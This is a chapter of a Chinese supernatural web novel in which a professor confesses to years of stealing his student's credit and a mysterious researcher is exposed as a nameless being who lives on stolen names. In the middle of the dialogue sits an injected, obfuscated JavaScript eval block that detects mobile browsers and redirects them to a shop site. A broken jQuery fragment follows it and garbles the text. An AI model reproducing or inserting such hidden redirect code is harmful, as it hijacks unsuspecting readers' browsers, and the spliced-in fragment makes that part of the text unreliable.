高至衡站在电梯口，像是一路跑过来的。
他头发花白，额角全是汗，外套扣错了一颗，手里那座奖杯被攥得太紧，指节已经泛白。
奖杯上的名字还在往下掉。
“高至衡”三个字，如今只剩一个模糊的“衡”。黑色金属表面不断渗出墨水，顺着他的手指往袖口里钻。
他却顾不上。
一进接收区，他便指向顾闻川。
“就是他。”
“六年前，来工作室的人就是他。”
顾闻川站在十二只青木箱前，连姿势都没有变。
“高教授。”
他语气平静，甚至还带着一点恰到好处的遗憾。
“您目前受到精神压力和异常材料影响，记忆未必可靠。”
高至衡死死盯着他。
“你没变。”
这三个字一出，接收区里的人都安静了。
高至衡像终于抓住了最让自己恐惧的地方。
“六年前，你穿的也是这样的衣服。”
“头发、脸、声音，都没有变。”
“你坐在我的办公室里，告诉我，只要把唐婧那份初检报告交给研究会，就能保住项目。”
他喘得厉害，声音却越来越快。
“你说她年轻，名字压不住这份残卷。”
“你说首证放在导师名下，项目更容易申报。”
“你还说——”
高至衡喉咙像忽然被什么掐住。
那句话已经到了嘴边，却迟迟吐不出来。
谢明烛看着他。
“他说什么？”
高至衡胸口剧烈起伏。
奖杯里的黑墨顺着手腕往上爬，一寸寸缠住他的喉咙。
顾闻川淡淡道：“想不起来就不要勉强。”
“闭嘴！”
高至衡骤然暴怒。
他将奖杯狠狠砸在地上。
金属碰撞瓷砖，发出一声刺耳巨响。
奖杯没有碎。
剩下那个“衡”字却彻底掉了。
空白的铭牌上，慢慢浮出一行新的黑字。
【续愿者高至衡。】
高至衡看见，整个人像被抽掉了力气。
他嘴唇抖了几下，终于挤出那句话：
“他说，门生的名字，原本就该压在师门下面。”
唐婧站在木箱旁，手里还抱着那份初检报告。
她听见这句话，没有哭，也没有骂。
只是看着高至衡。
“然后呢？”
高至衡不敢看她。
“我签了资料保管协议。”
“只签了一次？”
“……”
“高至衡。”
唐婧的声音很稳。
“只签了一次吗？”
最前方写着“告功名”的木箱忽然震了一下。
箱盖内侧浮出一张张薄纸。
第一张，六年前。
《异常民俗文本代管及成果稳定协议》。
签署人：高至衡。
第二张，五年前。
《旧愿文本续存确认书》。
签署人：高至衡。
第三张，四年前。
《项目成果名义归集授权》。
签署人：高至衡。
一年一张。
一共六张。
最后一张的日期，就在三个月前。
唐婧慢慢走过去。
她没有碰那些纸，只一张张看完。
“你每年都签。”
高至衡脸色灰败。
“他们说不续签，项目成果会出问题。”
“什么问题？”
“论文撤稿，证书失效，后续项目被追查。”
“所以你签了。”
“那时候项目已经不是我一个人的！”
高至衡猛地抬起头，像终于找到了辩解的理由。
“后面有学生，有合作单位，有课题经费，还有那么多人靠这个项目评职称。”
“我如果停了，所有人都会受影响。”
唐婧看了他很久。
“那你有没有想过，告诉我？”
高至衡没有回答。
“第一次发现我的名字不见时，你没告诉我。”
“第一次用我的报告申报时，你没告诉我。”
“第一次看见奖项上只有你时，你还是没告诉我。”
唐婧垂眼看着手里的报告。
“你不是为了保护团队才续愿。”
“你是先偷了我的东西，后来才有了一个越来越大的团队，替你证明不能还。”
高至衡的嘴唇动了动。
却再也说不出一句反驳的话。
神簿在谢明烛怀里自行翻开。
【告功名第二问。】
【初愿从何起？】
唐婧看向那块黑色名牌。
“从我那句‘名字不要也没关系’开始。”
神簿又问：
【愿为何续？】
她抬头看向高至衡。
“因为受益者知道以后，仍然选择不还。”
黑色名牌上裂开第二道纹。
【修名者是谁？】
所有人的视线同时落到顾闻川身上。
顾闻川仍然没有动。
像这道问题与他无关。
谢明烛从木箱里取出第一份协议。
纸张已经泛黄，右下角除了高至衡的签名，还有一枚很浅的圆形印章。
承仪传统礼俗研究会。
印章旁边没有经办人姓名。
只有一道像闭眼般的符号。
眼睛中央，是一个“愿”字。
“你经手的？”谢明烛问。
顾闻川回答：“研究会经手。”
“我问的是你。”
“六年前，研究会负责此类项目的人不止一个。”
“高至衡认出了你。”
“他的记忆受到反噬影响。”
谢明烛抬眼。
“你为什么一直让别人怀疑自己的记忆？”
顾闻川笑意淡了些。
“因为人的记忆本来就不可靠。”
“那合同可靠？”
“至少有签字。”
“名字都是偷的，签字值什么钱？”
顾闻川沉默。
谢明烛将六份续愿协议依次摆开。
“第一次，高至衡不懂契。”
“后面五次，他懂了。”
“他的账已经清楚。”
她指尖落在协议中间那道闭眼印上。
“现在说你的。”
顾闻川看着她：“我没有从这个项目中受益。”
秦满忽然摇了摇头。
他从刚才开始便一直抱着铜铃，紧紧盯着顾闻川。此刻听见这句话，终于小声开口：
“有。”
顾闻川看向他。
秦满往闻烬生身边靠了一点，却没有闭嘴。
“你拿了名字。”
接收区的温度忽然降了一点。
主任和周围工作人员听不明白，只本能地觉得不舒服。
顾闻川的目光落在秦满怀里的铜铃上。
“愿童在雾隐山外，听见的东西容易失真。”
秦满抱紧铃。
“我叫秦满。”
“不是愿童。”
闻烬生站在他身侧，长伞尖轻轻触地。
声音不响。
警告却很清楚。
顾闻川收回目光。
谢明烛问秦满：“他拿了谁的名字？”
秦满皱着眉，像在听一间挤满人的屋子。
“好多。”
“能说出来吗？”
秦满摇头。
“太乱了。”
“有些只剩一个字。”
“有些名字在哭。”
“还有些……已经忘记自己叫什么。”
顾闻川终于抬起手，整理了一下袖口。
这是他出现后，第一次做出明显多余的动作。
谢明烛看见了。
“你紧张？”
“谢老师想多了。”
“我修过很多被刮洗的字。”
她看着顾闻川。
“墨越想装得没动过，纸面越平。”
“可纤维不会撒谎。”
顾闻川眼神微沉。
谢明烛走到那只标着“告名”的木箱前。
它是十一只捐赠箱里的最后一只。
箱体比其他箱子更旧，四角却没有磨损，像它存在了很久，却从未真正被搬动过。
封条上只有两个字。
告名。
她没有立刻打开。
“你说愿社保存无主愿。”
“修复残愿。”
“防止它们散出去害人。”
顾闻川道：“事实如此。”
“保存东西，总要编号。”
“当然。”
“编号需要名字。”
顾闻川没有回答。
谢明烛继续问：
“那些被偷走、被放弃、被从成果上刮掉的名字，最后去了哪里？”
高至衡忽然抬头。
他像想起了什么。
“保管费。”
众人看向他。
高至衡盯着顾闻川，脸上的恐惧越来越重。
“六年前你说过。”
“研究会不白替人稳定功名。”
“修名之后，会从被刮掉的名字里取一笔保管费。”
顾闻川淡淡道：“那只是对契力残留的通俗解释。”
“取多少？”
高至衡喉咙滚动。
“一个旁名。”
唐婧皱眉：“什么叫旁名？”
高至衡不敢看她。
“不是户籍里的名字。”
“是……一个人可能拥有，却没有真正拥有的名。”
首证人。
第一作者。
发现者。
设计者。
创办人。
传承人。
恩师。
专家。
所有本该落在某个人身上，最后却被抹去的称谓，都可以成为旁名。
它们不是身份证上的名字。
却决定一个人如何被世人记住。
谢明烛看向顾闻川。
“你们收的不是废名。”
“是身份。”
顾闻川神色平静。
“有些身份当事人已经放弃。”
唐婧冷声说：“被逼着说不要，也叫放弃？”
“成年人应当为自己的选择负责。”
“很好。”
谢明烛点了一下头。
“那你也为自己的选择负责。”
她将手放在“告名”木箱的封条上。
顾闻川终于开口：
“这只箱子不在本次初检范围。”
“捐赠协议已经碎了。”
“所以现在由我决定。”
“谢明烛。”
闻烬生低声叫她。
不是拦。
是提醒。
箱子里聚着太多名字。
一旦打开，未必只会找顾闻川。
它也可能反过来找一个容器。
谢明烛知道。
她看向秦满。
“铃能不能把名字分开？”
秦满认真想了一会儿。
“一个一个叫，能。”
“要是一起出来呢？”
秦满脸色白了些。
“可能会听不清。”
闻烬生握住长伞。
“我压箱。”
谢明烛看他。
“伤口会裂。”
“知道。”
“疼？”
“疼。”
回答得很快。
谢明烛没有再说别的。
她从口袋里取出一卷新的纱布，扔给他。
闻烬生接住，眼里掠过一点极淡的无奈。
“还没裂。”
“备用。”
顾闻川站在对面，看着他们，忽然笑了。
“你们在雾隐山就是这样破局的？”
谢明烛看向他。
“让你失望了？”
“只是觉得，您比传闻里更容易留下牵挂。”
闻烬生眼神骤冷。
谢明烛却笑了一声。
“所以？”
“有牵挂的人，更适合签契。”
“无牵无挂的人才适合当祭品。”谢明烛说，“你们的口径不统一，回去培训一下。”
唐婧没忍住，偏过脸笑了一下。
顾闻川脸上的笑意却彻底淡了。
谢明烛撕下封条。
封纸离开箱盖的瞬间，所有灯同时熄灭。
不是停电。
窗外仍有晨光。
可接收区里所有人的影子都变得很淡，像属于自己的那一部分姓名被什么东西暂时遮住了。
箱盖没有弹开。
里面先伸出一只手。
不是人的手。
是由许多黑色字迹拼成的手。
每一根手指上，都爬着不同的称谓。
首证。
原作。
恩师。
发现者。
继承人。
创办者。
名医。
善人。
那些字相互挤压，像都想爬到最上面。
闻烬生长伞骤然压下。
伞骨抵住箱盖。
字手被压回去一半，接收区里响起无数重叠的人声。
“我的。”
“还给我。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17733951|208250||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
/p>
“那是我做的。”
“我先发现的。”
“我没有答应。”
“他们删了我的名字。”
秦满的铜铃开始急促震动。
他双手抱住，闭上眼睛，大声道：
“一个一个来！”
铃声响起。
混乱的人声真的停了一瞬。
最先浮出来的是“首证人”。
它化成一道金光，落回唐婧手里的报告。
随后是几个陌生称谓，撞向不同方向，像正沿着档案和记忆去寻找原主。
可更多名字没有走。
它们缠在一起，牢牢连着箱子最深处。
谢明烛从缝隙里看见了一张黑色纸页。
纸页上密密麻麻写满名字。
每个名字后面，都有一条去向。
【林琢，原作之名，归顾闻川。】
【宋仪，发现者之名，归顾闻川。】
【贺兰秋，善名，归顾闻川。】
【吴青禾，传承人之名，归顾闻川。】
一页。
两页。
十页。
全是顾闻川。
不是这些人的本名归了他。
是他们被偷走的身份，全都被记在了“顾闻川”名下。
难怪他六年不变。
一个人的名会被时间磨损。
可如果不断用别人的名字补上去，他便可以永远维持同一张脸、同一个身份、同一段履历。
顾闻川终于动了。
他一步上前，想合上箱子。
闻烬生的刀已经出鞘。
刀锋横在他面前。
“别动。”
顾闻川看向闻烬生。
“你以为自己还是雾隐山的守山人？”
闻烬生道：“不是。”
“那你凭什么拦我？”
“她让我压箱。”
答得过于理所当然。
谢明烛没时间理他们。
她盯着那本黑色名册。
“顾闻川是你的本名吗？”
顾闻川没有回答。
神簿已经自动翻开。
【告名第一问。】
【名从何来？】
顾闻川站在刀锋前，脸色第一次真正冷下来。
“谢老师。”
“有些名字不能问。”
“那就说明问对了。”
朱砂笔落到神簿上。
“顾闻川。”
三个字刚写完，纸面便迅速洇开。
不是变黑。
是像墨找不到可以落下的纤维，沿着纸面四散逃开。
神簿重新浮字：
【查无原名。】
片刻后，又补出一行。
【顾闻川，名下无此人。】
接收区一片死寂。
主任和工作人员听不懂神簿，却看见顾闻川胸前的工作证忽然变成了空白。
照片还在。
职位还在。
承仪传统礼俗研究会副秘书长。
唯独姓名一栏，什么都没有。
邵律师脸色骤变。
“顾先生……”
他喊到一半，声音忽然停住。
像连他自己也不确定，该怎么称呼眼前的人。
唐婧盯着那张空白工作证。
“顾闻川不是人名？”
秦满摇头。
“是很多人的名字拼出来的。”
谢明烛问：“那他原来叫什么？”
秦满的铜铃发出一声极低的闷响。
他脸色瞬间惨白。
“没有。”
“什么意思？”
“他把自己的名字也交出去了。”
顾闻川看着秦满。
眼神里第一次出现了杀意。
闻烬生的刀锋往前半寸。
那杀意便被挡住了。
谢明烛却没有看顾闻川。
她盯着箱中黑色名册最下方。
那里有一行字被大片墨迹遮住。
【无名者入社，百名养身。】
【每收一名，可续一岁。】
原来如此。
顾闻川不是不老。
是他用别人被抹掉的名字，一年一年续住自己。
那些从论文、作品、家谱、师承和善行中消失的名字，最后都成了他活下去的时间。
六年没有变，只是最浅的一层。
他究竟活了多久，没有人知道。
顾闻川忽然笑了。
胸前的空白工作证还在轻轻晃动。
他抬手，将证件摘下来，随意扔在地上。
“谢老师。”
没有名字以后，他的声音反而变得更清晰。
少了温和，也少了刻意维持的礼貌。
“你终于问到这一折了。”
谢明烛抬眼。
“哪一折？”
顾闻川看着她怀里的神簿。
“告名。”
他往后退了一步。
刀锋仍抵着他的喉咙，他却像完全不在意。
“婚契只是门。”
“功名只是路。”
“名字才是愿社真正收的东西。”
顾闻川低头，看了一眼地上那张空白工作证。
“人可以没有愿。”
“可以不求婚姻，不求功名，不求长生。”
“但只要还想让别人记得自己是谁——”
“就逃不开名字。”
他抬眼，唇边慢慢浮出一点冷意。
“包括你。”
谢明烛神色不变。
“我的名字已经拿回来了。”
“是吗？”
顾闻川看着她。
“谢明珠是原名。”
“谢明烛是祭名。”
“你把祭名抢成了人名。”
“可这两个名字，哪一个真正从出生起就只属于你？”
神簿骤然震动。
箱中的黑色名册疯狂翻页。
一张空白名牌从最深处飞出，直直停在谢明烛面前。
上面没有名字。
只有一行字。
【请修契人自证。】
闻烬生脸色骤变，刀锋直接划向名牌。
顾闻川却笑出了声。
“你不是最会问别人是谁吗？”
“谢老师。”
“现在轮到你了。”
空白名牌贴近谢明烛。
黑墨从边缘缓慢渗出，正要写下她的名字。
秦满的铜铃突然失声。
闻烬生一刀劈落。
刀锋碰到名牌的一刻，整座修复中心所有电脑同时黑屏。
紧接着，屏幕上齐齐出现一句话。
【告名已开。】
【请谢明烛，先证自己。】